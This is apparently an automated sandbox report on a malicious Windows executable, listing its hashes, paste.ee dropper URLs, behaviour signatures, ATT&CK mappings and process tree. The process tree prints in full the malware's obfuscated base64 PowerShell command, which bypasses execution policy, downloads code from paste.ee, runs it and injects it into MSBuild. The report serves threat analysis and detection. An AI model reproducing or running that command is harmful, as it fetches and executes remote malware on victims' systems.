ae5b97a11193dc484bd0d88ade0cd05bb667dd5f5e6155f7834f333b5d3c10c5

General

Target

ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
Size

848KB
MD5

ff9b596a9adcef01014d3664ea827cd4
SHA1

ef1e9dbe82ed76915dbd80cf8d315703edd63e71
SHA256

ae5b97a11193dc484bd0d88ade0cd05bb667dd5f5e6155f7834f333b5d3c10c5
SHA512

13522af4c61523ffc6da14cdd681be0bada5ccedc7164501776640c9df1555fcc7ec67e9a986e4f8f168d3a0220a2042f78779e00f13c21ea3089284bb143750
SSDEEP

24576:uAHnh+eWsN3skA4RV1Hom2KXMmHazU15:Zh+ZkldoPK8YazK

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://paste.ee/r/h7YEj

ps1.dropper

https://paste.ee/r/pcnHb

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2740	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1932	powershell.exe
2740	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1932	powershell.exe
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 1932	2280	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	31
PID 2280 wrote to memory of 1932	2280	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	31
PID 2280 wrote to memory of 1932	2280	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	31
PID 2280 wrote to memory of 1932	2280	ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe	31
PID 1932 wrote to memory of 2740	1932	powershell.exe	33
PID 1932 wrote to memory of 2740	1932	powershell.exe	33
PID 1932 wrote to memory of 2740	1932	powershell.exe	33
PID 1932 wrote to memory of 2740	1932	powershell.exe	33

C:\Users\Admin\AppData\Local\Temp\ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ff9b596a9adcef01014d3664ea827cd4_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /`e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AaAA3AFkARQBqACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBwAGMAbgBIAGIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
  2⤵
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AaAA3AFkARQBqACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBwAGMAbgBIAGIAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
    3⤵
    - Blocklisted process makes network request
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e5c44e6a65a8862da6d963188e656c14

SHA1
c0c55ba6834af7fe3667bff7fa03f2f8bde41693

SHA256
3ec1a5e677038db319ef6d8b368c215b6ff5d9f09d90510a6951b19e17b32ff6

SHA512
9520501f604c52902f84305ff646f08c8c1913fbfc87ed209a43348e4a0ed850abf8b272833335aebff45e1ff29992a65c6c41248cffcd67510e585acc2fba1d

Download Submit
memory/1932-2-0x0000000073E11000-0x0000000073E12000-memory.dmp

Filesize
4KB

Download
memory/1932-3-0x0000000073E10000-0x00000000743BB000-memory.dmp

Filesize
5.7MB

Download
memory/1932-4-0x0000000073E10000-0x00000000743BB000-memory.dmp

Filesize
5.7MB

Download
memory/1932-5-0x0000000073E10000-0x00000000743BB000-memory.dmp

Filesize
5.7MB

Download
memory/1932-6-0x0000000073E10000-0x00000000743BB000-memory.dmp

Filesize
5.7MB

Download
memory/1932-12-0x0000000073E10000-0x00000000743BB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing